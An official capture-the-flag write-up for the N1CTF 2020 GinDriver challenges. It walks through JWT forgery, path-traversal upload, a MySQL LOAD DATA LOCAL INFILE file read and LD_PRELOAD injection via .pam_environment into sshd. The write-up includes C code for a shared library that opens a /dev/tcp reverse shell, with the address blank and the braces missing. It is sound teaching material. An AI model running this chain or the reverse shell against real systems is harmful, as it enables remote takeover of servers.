N1CTF 2020 Web GinDriver (Revenge) Official WriteUp


First of all, I’m so honored to take part in this competition and composing challenges (with plusls). The source code of this challenge will be made into public in Github after the competition.

Hoping ctfer having fun in this competition xD.


This challenge is designed into two separated part, as we can see in the platform are GinDriver and GinDriver Revenge. In fact, the original idea is inspired by plusls, that he found a trick that may leading to RCE by uploading a malicious dynamic-link library and .pam_environment file to bypass sshd mechanism (inspired by CVE-2015-8325). So, I designed the first part to make a springboard helping challengers finding a way leaping to the second part.

The overall design is described below:

  • GinDriver: A misusing of JWT signing mechanism leading to identity forgery, and overwriting config file through file uploading to launch MySQL client LOAD DATA LOCAL INFILE attack gaining arbitrary file reading.
  • GinDriver Revenge: A reverse shell can be triggered while ssh server accepted a new connection by uploading .pam_environment file to inject LD_PRELOAD environment which is pointed to a malicious dynamic-link library.


In this part, I will give the detailed solution of the web challenge.

Information Gathering

As the giving attachment, it’s quiet easy to determine that backend service is developed by golang and Gin framework. Frontend is developed by umi and React.

The challenge using Webauthn to authenticate users, and authenticated user will redirect to file uploading part, while the file uploading function is admin only.


According to W3C Recommendation, Webauthn has two main flows described as two figures below.

Registration Flow:

Authentication Flow:

As we can see, public key replaced password, playing an important role in Webauthn authentication.

Reverse Engineering

Through IDA, we can easily analyze internal logic. First of all, we can assume the following route:

Static router:
    GET /pubkeys/ -> ./public/pubkeys
API router:
    POST /api/auth/register/begin
    PATCH /api/auth/register/:name/finish
    GET /api/auth/login/:name/begin
    PATCH /api/auth/login/:name/finish
Login Required router:
    GET /api/user/:name
    POST /api/user/file/upload

The critical point is in LoginRequired middleware. This middleware decodes Authorization header, gets JWT payloads and check signature using user-specific Webauthn public key, which is uploaded by user.

In file uploading part, we can even find path traversal vulnerability in blackbox, that can upload arbitrary file to any location with sufficient write permission.

Last but not least, in main, configor is configured to auto reload config file while it has been changed, and execute database auto migration.

From now, we may figure out an exploit chain in this web challenge:

Identity Forgery -> Arbitrary File Uploading -> Overwrite Config File -> Database Auto Migration -> MySQL LOAD DATA LOCAL INFILE -> Arbitrary File Reading

Identity Forgery

According to the analysis above, we can now using the public key of admin to forge JWT token, gaining file uploading.

curl https://web.c7466953fb.nu1lctf.com/pubkeys/admin.pub -v
> GET /pubkeys/admin.pub HTTP/2
> Host: web.c7466953fb.nu1lctf.com
> User-Agent: curl/7.64.0
> Accept: */*

< HTTP/2 200
< server: openresty/
< date: Mon, 19 Oct 2020 05:25:59 GMT
< content-type: text/plain; charset=utf-8
< content-length: 36
< accept-ranges: bytes
< last-modified: Mon, 19 Oct 2020 05:24:59 GMT
* Connection #0 to host web.c7466953fb.nu1lctf.com left intact

Notice that there’s a new line (\n) in the admin.pub.

So, we can easily forge an admin JWT token by accessing jwt.io.

Add it to authorization header, and send via burp to confirm.

Arbitrary File Uploading

After forged admin JWT token, we can now upload config file to overwrite existing one, waiting config file auto reload and database auto migration to trigger MySQL LOAD DATA LOCAL INFILE.

Arbitrary File Reading

By trigger MySQL LOAD DATA LOCAL INFILE, we can easily gaining arbitrary file reading to read flag under /flag.

Quiet easy, right? (xD


As we know, SSH server uses PAM to authenticate users by default, and PAM allows user-specified environment by default, called .pam_environment, defined in /etc/pam.d/ configuration files.

After a user is authenticated, sshd will prepare a new session for user. SSH calls PAM module to retrieve user environment variables, and finally execute execve user defined shell (e.g. /bin/bash).

In fact, there’s an official comments from Ubuntu teams replied to plusls

Hello plusls, thanks for the report.

I believe this is working as intended.

You can lock an account by setting the expiration date to 1, eg

sudo usermod -e 1 testaccount

You can also change the pam_env.so module’s user_readenv=1 to
user_readenv=0 in your /etc/pam.d/ configuration files to prevent your
users from supplying an LD_PRELOAD variable.

You could also use an AppArmor profile around the shell you set for
your users. This is a bit involved, of course, but for /bin/false or
/usr/sbin/nologin, it probably wouldn’t be unreasonable. This profile
could be restrictive enough to prevent reading the environment file,
or prevent loading arbitrary shared objects, prevent changing their
shell, etc.



From the previous analysis, we now gain arbitrary file uploading, which allows us to control .pam_environment file and public keys needed by SSH authentication.

So, we can launch a reverse shell by uploading the following files:

  1. Public key for authentication
  2. .pam_environment
  3. Malicious dynamic-link library exp.so

With the following content:

# ~/.pam_environment
# as www-data user is /var/www/.pam_environment
// gcc exp.c -o exp.so -shared
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void getshell() __attribute__((constructor));

void getshell()
    char *argv[] = {
        "/bin/bash -c \"/bin/bash -i  1>&/dev/tcp/ 0<&1\"",
    execve("/bin/sh", argv, NULL);

After user is authenticated, sshd prepares the new session and injects the dynamic linked library into forked new process, and triggers reverse shell.